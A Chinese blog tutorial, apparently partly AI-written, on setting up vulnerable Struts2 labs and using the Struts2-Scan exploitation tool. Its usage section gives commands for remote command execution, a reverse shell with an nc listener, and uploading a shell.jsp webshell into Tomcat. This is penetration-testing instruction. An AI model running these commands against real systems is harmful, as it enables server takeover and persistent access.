news 2026/4/29 21:23:03

Struts2-Scan与漏洞环境搭建:完整测试环境配置教程

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Struts2-Scan与漏洞环境搭建:完整测试环境配置教程

Struts2-Scan与漏洞环境搭建:完整测试环境配置教程

【免费下载链接】Struts2-ScanStruts2全漏洞扫描利用工具项目地址: https://gitcode.com/gh_mirrors/st/Struts2-Scan

Struts2-Scan是一款功能强大的Struts2全漏洞扫描利用工具,能够帮助安全测试人员快速检测和验证Struts2框架中的各类高危漏洞。本教程将详细介绍如何搭建完整的Struts2漏洞测试环境,以及如何使用Struts2-Scan工具进行漏洞扫描与利用,让你轻松掌握Struts2漏洞的测试方法。

一、Struts2-Scan工具简介

1.1 工具功能特点

Struts2-Scan是基于互联网公开的Struts2高危漏洞EXP开发的扫描利用工具,具有以下特点:

  • 全面的漏洞覆盖:支持S2-001、S2-003、S2-005、S2-007、S2-008、S2-009、S2-012、S2-013、S2-015、S2-016、S2-019、S2-029、S2-032、S2-033、S2-037、S2-045、S2-046、S2-048、S2-052、S2-053、S2-devMode、S2-057等多种Struts2漏洞的扫描与利用。

  • 丰富的利用功能:支持单个URL漏洞检测和批量URL检测,可指定漏洞进行利用,能够获取WEB路径、执行命令、反弹shell和上传文件等操作(不同漏洞支持的功能有所差异)。

1.2 运行环境要求

使用Struts2-Scan工具需要满足以下环境要求:

  • Python3.6.X及其以上版本。

  • 安装必要的第三方库:click、requests、bs4。

  • 推荐测试环境:Ubuntu 16.04。

二、Struts2-Scan工具获取与安装

2.1 工具获取

通过以下命令克隆Struts2-Scan项目仓库:

git clone https://gitcode.com/gh_mirrors/st/Struts2-Scan

2.2 安装依赖库

进入项目目录,使用pip命令安装所需的第三方库:

cd Struts2-Scan pip install click requests bs4

三、Struts2漏洞环境搭建

3.1 本地WAR包环境部署

项目中提供了多个Struts2漏洞环境的WAR包,存放在“Struts2环境”目录下,包括S2-001.war、S2-003.war、S2-005.war、S2-005_2.war、S2-007.war、S2-008.war、S2-009.war、S2-012.war、S2-013.war、S2-015.war、S2-016.war、S2-019.war、S2-032.war、S2-037.war、S2-045.war等。

你可以将这些WAR包部署到Tomcat等Web服务器中,搭建本地漏洞测试环境。具体部署步骤如下:

  1. 下载并安装Tomcat服务器(建议使用与漏洞环境兼容的版本)。

  2. 将WAR包复制到Tomcat的webapps目录下。

  3. 启动Tomcat服务器,WAR包会自动解压部署。

  4. 通过访问“http://localhost:8080/漏洞环境名称”即可访问相应的漏洞环境。

3.2 Docker环境部署

除了本地WAR包部署,还可以使用Docker快速搭建Struts2漏洞环境。“Struts2环境/其他环境.txt”文件中提供了部分漏洞环境的Docker部署命令,例如:

  • S2-029环境:
docker pull medicean/vulapps:s_struts2_s2-029 docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-029
  • S2-033环境:
docker pull medicean/vulapps:s_struts2_s2-033 docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-033
  • S2-045环境:
docker pull medicean/vulapps:s_struts2_s2-045 docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-045

按照上述命令,替换相应的漏洞名称,即可拉取并运行对应的Docker镜像,快速搭建漏洞环境。

四、Struts2-Scan工具使用方法

4.1 工具参数说明

Struts2-Scan工具提供了丰富的命令行参数,使用“python3 Struts2Scan.py -h”命令可以查看所有参数说明:

Usage: Struts2Scan.py [OPTIONS] Struts2批量扫描利用工具 Options: -i, --info 漏洞信息介绍 -v, --version 显示工具版本 -u, --url TEXT URL地址 -n, --name TEXT 指定漏洞名称, 漏洞名称详见info -f, --file TEXT 批量扫描URL文件, 一行一个URL -d, --data TEXT POST参数, 需要使用的payload使用{exp}填充, 如: name=test&passwd={exp} -c, --encode TEXT 页面编码, 默认UTF-8编码 -p, --proxy TEXT HTTP代理. 格式为http://ip:port -t, --timeout TEXT HTTP超时时间, 默认10s -w, --workers TEXT 批量扫描进程数, 默认为10个进程 --header TEXT HTTP请求头, 格式为: key1=value1&key2=value2 -e, --exec 进入命令执行shell --webpath 获取WEB路径 -r, --reverse TEXT 反弹shell地址, 格式为ip:port --upfile TEXT 需要上传的文件路径和名称 --uppath TEXT 上传的目录和名称, 如: /usr/local/tomcat/webapps/ROOT/shell.jsp -q, --quiet 关闭打印不存在漏洞的输出,只保留存在漏洞的输出 -h, --help Show this message and exit.

4.2 常用功能示例

4.2.1 查看漏洞详细信息

使用“--info”参数可以查看工具支持的所有漏洞详细信息,包括影响版本、请求方式、支持功能等:

python3 Struts2Scan.py --info
4.2.2 单个URL漏洞检测

使用“-u”参数指定单个URL进行漏洞扫描:

python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action

工具会自动检测该URL是否存在支持的Struts2漏洞,并输出检测结果。

4.2.3 批量URL漏洞检测

使用“-f”参数指定包含多个URL的文件进行批量扫描:

python3 Struts2Scan.py -f urls.txt

其中,urls.txt文件中一行一个URL。

4.2.4 指定漏洞进行命令执行

使用“-n”参数指定漏洞名称,结合“--exec”参数可以进入命令执行shell:

python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --exec

在命令执行shell中,可以输入系统命令进行执行。

4.2.5 获取WEB路径

使用“--webpath”参数可以获取目标服务器的WEB路径:

python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --webpath
4.2.6 反弹shell

使用“--reverse”参数指定反弹shell的地址和端口,可以获取目标服务器的shell:

python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --reverse 192.168.100.8:8888

需要在本地监听指定的端口,如使用“nc -lvvp 8888”命令。

4.2.7 上传文件

项目中提供了用于上传的shell.jsp文件,使用“--upfile”和“--uppath”参数可以将文件上传到目标服务器:

python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --upfile shell.jsp --uppath /usr/local/tomcat/webapps/ROOT/shell.jsp

五、总结

通过本教程的学习,你已经了解了Struts2-Scan工具的功能特点、获取安装方法,以及如何搭建Struts2漏洞测试环境和使用工具进行漏洞扫描与利用。Struts2-Scan工具为Struts2漏洞的测试提供了便捷高效的解决方案,帮助安全测试人员更好地发现和验证漏洞。在实际使用过程中,请遵守相关法律法规,仅在授权的环境中进行测试。

【免费下载链接】Struts2-ScanStruts2全漏洞扫描利用工具项目地址: https://gitcode.com/gh_mirrors/st/Struts2-Scan

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/29 21:20:46

基于安卓的母婴用品租赁与回收平台毕设源码

博主介绍:✌ 专注于Java,python,✌关注✌私信我✌具体的问题,我会尽力帮助你。一、研究目的本研究旨在设计并实现一个基于安卓平台的母婴用品租赁与回收系统以解决当前母婴用品市场中存在的资源浪费与供需失衡问题。随着我国二孩政策实施及生育观念转变母…

作者头像 李华
网站建设 2026/4/29 21:18:02

如何快速安装p2pvc:Ubuntu、OS X和Arch系统的完整终端视频聊天指南

如何快速安装p2pvc:Ubuntu、OS X和Arch系统的完整终端视频聊天指南 【免费下载链接】p2pvc A point to point color terminal video chat. 项目地址: https://gitcode.com/gh_mirrors/p2/p2pvc p2pvc是一款创新的点对点彩色终端视频聊天工具,让你…

作者头像 李华
网站建设 2026/4/29 21:16:42

3DTilesRendererJS插件系统完全指南:扩展你的3D渲染能力

3DTilesRendererJS插件系统完全指南:扩展你的3D渲染能力 【免费下载链接】3DTilesRendererJS Renderer for 3D Tiles in Javascript using three.js, Babylon.js, and r3f 项目地址: https://gitcode.com/gh_mirrors/3d/3DTilesRendererJS 3DTilesRendererJS…

作者头像 李华
网站建设 2026/4/29 21:09:26

Google Maps Scraper数据提取秘籍:4种搜索策略深度解析

Google Maps Scraper数据提取秘籍:4种搜索策略深度解析 【免费下载链接】google-maps-scraper Google Maps Scraper & Lead Generation Tool. Extract 50 data points including business emails, phone numbers, and social profiles. Includes enrichment fea…

作者头像 李华
网站建设 2026/4/29 21:07:26

新硬件装老系统?手把手解决Ubuntu 18.04下Realtek 2.5G网卡没网络的尴尬

新硬件装老系统?手把手解决Ubuntu 18.04下Realtek 2.5G网卡没网络的尴尬 当你兴奋地拆开新主机的包装,装上Ubuntu 18.04准备大干一场时,却发现右上角那个小小的有线网络图标始终不肯出现——这种场景对于需要在新硬件上运行旧系统的开发者来说…

作者头像 李华